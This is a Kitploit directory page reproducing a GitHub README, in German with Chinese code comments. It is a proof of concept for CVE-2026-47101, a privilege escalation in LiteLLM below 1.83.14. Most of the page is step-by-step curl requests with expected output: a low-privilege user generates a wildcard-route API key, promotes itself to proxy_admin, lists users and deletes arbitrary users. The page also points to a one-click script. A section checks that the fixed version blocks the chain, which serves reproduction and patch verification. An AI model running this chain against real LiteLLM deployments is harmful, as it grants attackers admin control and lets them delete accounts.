Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-47101-PoC — Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle. | Kitploit
Tools/GitHubGitHub/learner202649/cve-2026-47101-poc
Authentifizierung & AutorisierungPrivilege EscalationSchwachstellenanalyseExploitationWebanwendungs-ExploitationAPI-SicherheitstestsPenetrationstestsFehlkonfigurationLernen & BildungLabs & Praxis
GitHub
18vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
learner202649/cve-2026-47101-poc

CVE-2026-47101-PoC

Der Code zur persönlichen Reproduktion der entsprechenden Schwachstelle.

Repository anzeigen

CVE-2026-47101 — LiteLLM Privilegieneskalation über /key/generate + /user/update

Bei LiteLLM v1.82.6 (vor Version 1.83.14) erlaubt der /key/generate-Endpunkt einem internal_user mit geringen Berechtigungen, einen API-Key mit der Wildcard-Route ["/*"] anzufordern und anschließend über den /user/update-Endpunkt die eigene Rolle auf proxy_admin zu erhöhen — eine nicht autorisierte Privilegieneskalation.

FeldWert
CVECVE-2026-47101
CVSS v3.18.8 (HIGH) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-863 (Incorrect Authorization)
BetroffenLiteLLM < 1.83.14 (bestätigt in v1.82.6)
Behobenv1.83.14+ (neue allowed_routes-Rollenprüfung)
Veröffentlicht2026-05-21
Entdeckt vonFenix Qiao (13ph03nix) — Obsidian Security
LinksNVD

Beschreibung

Der /key/generate-Endpunkt von LiteLLM dient zum Generieren von API-Keys, /user/update zum Aktualisieren von Benutzereigenschaften. Die Autorisierungsprüfungen dieser beiden Endpunkte weisen drei aufeinander aufbauende Schwachstellen auf, die ein Benutzer mit geringen Rechten zu einer Angriffskette verknüpfen kann:

  1. /key/generate validiert allowed_routes nicht — jede Rolle (einschließlich internal_user) kann die Wildcard-Route ["/*"] anfordern
  2. Routenprüfung fällt auf den allowed_routes-Wildcard-Abgleich zurück — der generierte Wildcard-Key kann auf alle Verwaltungsendpunkte zugreifen
  3. /user/update erlaubt die Selbständerung des Felds user_role — mit dem Wildcard-Key kann die eigene Rolle auf proxy_admin erhöht werden

Angriffskette

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  获得通配符 API key
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  角色提升为 proxy_admin
  →  GET  /user/list     (使用通配符 key)
  →  验证管理员访问权限

Proof of Concept

Umgebungsvorbereitung

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM(v1.82.6,digest 固定)
docker compose up -d litellm

# 等待服务就绪(约 10-30 秒)
sleep 15

Dienststatus überprüfen

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

Die erwartete Ausgabe sollte Startmeldungen wie Uvicorn running on http://0.0.0.0:4000 enthalten.

Schritt 1: internal_user-Konto erstellen

Erstellen Sie mit dem Master-Key ein internal_user-Konto mit geringen Berechtigungen:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

Erwartete Ausgabe:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

Notieren Sie sich die zurückgegebenen user_id und key; sie werden in den folgenden Schritten benötigt.

Schritt 2: API-Key mit Wildcard-Route generieren

Rufen Sie /key/generate als internal_user auf und fordern Sie einen API-Key mit der Wildcard-Route ["/*"] an:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Erwartete Ausgabe:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ Schwachstelle: Der internal_user hat erfolgreich einen API-Key mit der Wildcard-Route ["/*"] generiert! Dieser Key kann auf alle Verwaltungsendpunkte zugreifen, einschließlich /user/update, /user/list usw.

Schritt 3: Rechteerweiterung auf proxy_admin

Rufen Sie /user/update mit dem Wildcard-Key auf, um die Benutzerrolle auf proxy_admin zu erhöhen:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

Erwartete Ausgabe:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ Schwachstelle: user_role wurde von internal_user auf proxy_admin geändert! Der /user/update-Endpunkt erlaubt es Benutzern, ihr eigenes user_role-Feld ohne jegliche Berechtigungsprüfung zu ändern.

Schritt 4: Administratorzugriff verifizieren

Verifizieren Sie über den /user/list-Endpunkt, dass die Rollenerhöhung wirksam wurde:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

Erwartete Ausgabe:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

Der /user/list-Endpunkt ist nur für die Rolle proxy_admin zugänglich. Das erfolgreiche Abrufen der Benutzerliste bestätigt, dass die Rechteerweiterung wirksam ist.

Schritt 5: Erweiterung — Administrator-Benutzer löschen

Mit den erlangten proxy_admin-Rechten können über /user/delete beliebige Benutzer gelöscht werden:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

Erwartete Ausgabe:

1

Ein-Klick-Reproduktion

Die obigen Schritte wurden zu demo.sh zusammengefasst und können direkt ausgeführt werden:

# 完整复现(包含步骤 1-5)
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

Verifizierung der behobenen Version

Starten Sie die behobene Version (v1.83.14-stable), um zu bestätigen, dass die Schwachstelle behoben ist:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

internal_user erstellen:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

Versuchen Sie, einen Key mit Wildcard-Route zu generieren (wird erwartungsgemäß blockiert):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

Erwartete Ausgabe (die behobene Version blockiert die nicht autorisierte Anfrage):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

Vergleich mit der verwundbaren Version:

TestszenarioVerwundbare Version (v1.82.6)Behobene Version (v1.83.14)
internal_user fordert ["/*"] an✅ Wildcard-Key erfolgreich generiert❌ Blockiert (HTTP 403)
Wildcard-Key ändert user_role✅ Erfolgreich zu proxy_admin erhöht❌ Blockiert
Wildcard-Key greift auf /user/list zu✅ Benutzerliste erfolgreich abgerufen❌ Blockiert

Verwundbare Endpunkte

POST /key/generate

Generiert einen neuen API-Key. Der Parameter allowed_routes begrenzt die Liste der Endpunkt-Routen, auf die der Key zugreifen kann.

FeldTypErforderlichBeschreibung
allowed_routesarrayNeinListe der erlaubten Routen; ["/*"] bedeutet beispielsweise alle Routen

POST /user/update

Aktualisiert Benutzereigenschaften, einschließlich des Felds user_role.

FeldTypErforderlichBeschreibung
user_idstringJaDie ID des zu aktualisierenden Benutzers
user_rolestringJaNeue Rolle (z. B. proxy_admin)

Ausnutzungstechnik

Schritt 1: API-Key mit Wildcard-Route generieren

Rufen Sie als internal_user /key/generate auf und fordern Sie einen Key mit ["/*"] an:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json
Tool herunterladen